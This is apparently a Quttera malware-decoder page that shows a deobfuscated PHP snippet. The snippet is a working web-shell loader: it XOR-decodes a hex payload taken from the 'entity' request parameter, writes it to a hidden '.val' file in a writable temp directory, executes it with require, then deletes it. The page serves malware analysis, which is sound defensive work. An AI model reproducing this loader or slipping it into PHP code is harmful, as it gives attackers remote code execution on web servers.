Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


if(array_key_exists("entity", $_REQUEST)){
	$res = hex2bin($_REQUEST["entity"]);
	$flg = '' ; $t = 0; do{$flg .= chr(ord($res[$t]) ^ 50);$t++;} while($t < strlen($res));
	$factor = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]);
	for ($hld = 0, $pointer = count($factor); $hld < $pointer; $hld++) {
    $marker = $factor[$hld];
    		if (is_writable($marker) && is_dir($marker)) {
    $elem = join("/", [$marker, ".val"]);
    if (file_put_contents($elem, $flg)) {
	require $elem;
	unlink($elem);
	die();
}
}
}
}



© 2023 Quttera Ltd. All rights reserved.